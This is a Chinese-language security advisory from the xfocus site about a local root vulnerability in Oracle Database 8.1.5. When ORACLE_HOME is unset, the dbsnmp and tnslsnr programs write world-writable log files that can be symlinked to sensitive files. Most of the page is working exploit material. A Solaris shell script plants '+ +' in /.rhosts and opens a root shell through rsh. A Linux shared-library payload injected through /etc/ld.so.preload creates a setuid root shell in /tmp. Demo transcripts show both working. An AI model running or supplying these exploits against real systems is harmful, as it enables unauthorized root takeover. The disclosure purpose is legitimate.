xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

ORACLE存在严重本地安全漏洞


发布时间:1999-11-17
更新时间:1999-11-17
严重程度:
威胁程度:本地管理员权限
错误类型:竞争条件
利用方式:服务器模式

受影响系统
Misc

Oracle Database Server 8.1.5
详细描述
如果运行ORACLE的ORACLE_HOME没有设定的话,dbsnmp(默
认状态下是SUID ROOT/SGID DBA) 程序会在当前路径中产
生两个LOG文件,dbsnmpc和dbsnmpt;如果这两个文件不存
在的话,dbsnmpd会建立属性为666,大小为400字节左右的
文件。如果这两个文件存在的话,dbsnmp会追加400字节的
内容到这两个文件,但并不改变文件的属性。虽然ROOT没
有.rhosts文件,但我们可以通过软连接从/tmp/dbsnmpc
到/.rhosts从而获得ROOT权利。


其中要注意的是此利用代码是在ORACLE数据服务器默认状态
下工作,一个普通用户在/product/之上没有读访问的权利
(如/u01/app/oracle/product/8.1.5/bin/dbsnmp)。
这并不能阻止你运行此代码,因为此利用代码的执行位是定
位在所有ORACLE 目录,但你要猜测此dbsnmp的路径,而关
于路径可以通过检测ORACLE入口的进程列表获得。下面的代
码中也有能使用在LINUX上的,只不过是使用tnslsnr代替
dbsnmp.

测试代码
下面是在SOLARIS的利用此代码的演示:
oracle8% uname -a; id
SunOS oracle8 5.6 Generic_105181-05 sun4u sparc
SUNW,Ultra-5_10
uid=102(btellier) gid=10(staff)

oracle8% /tmp/oracle.sh
couldn't read file "/config/nmiconf.tcl": no
such file or directory
Failed to initialize nl component,error=462

Failed to initialize nl component,error=462
#

下面是LINUX利用此漏洞的演示:
$ gcc -o oracle-ex.o -c oracle-ex.c -fPIC
$ gcc -shared -Wl,-soname,libno_ex.so.1 -o
libno_ex.so.1.0 oracle-ex.o -nostartfiles

$ unset ORACLE_HOME

$ umask 0000
$ ln -s /etc/ld.so.preload /tmp/listener.log

$ /u01/app/oracle/product/8.0.5/bin/tnslsnr

$ echo /tmp/libno_ex.so.1.0 >/etc/ld.so.preload


$ telnet localhost

Trying ...
Connected to localhost.localdomain.
Escape character is '^]'.
Connection closed by foreign host.

$ ./xxxx
#

下面是SOLARIS的利用代码程序:
--- oracle.sh ---
#!/bin/sh
# Exploit for Oracle 8.1.5 on Solaris 2.6 and
probably others
# You'll probably have to change your path to
dbsnmp
# Exploit will only work if /.rhosts does NOT
exist
#
# Brock Tellier btellier@usa.net
cd /tmp
unset ORACLE_HOME
umask 0000
ln -s /.rhosts /tmp/dbsnmpc.log
/u01/app/oracle/product/8.1.5/bin/dbsnmp

echo "+ +" > /.rhosts
rsh -l root localhost 'sh -i'
rsh -l root localhost rm /tmp/*log*
rsh -l root localhost rm /.rhosts
------------------

下面是LINUX平台上的代码程序:
oracle-ex.c
--------------------------

#include
#include
#include
#include

void _init()
{

if (!geteuid()) {

remove("/etc/ld.so.preload");

execl("/bin/bash","bash","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod
+xs /tmp/xxxx",NULL);

}

}
---------------------------

解决方案
升级

相关信息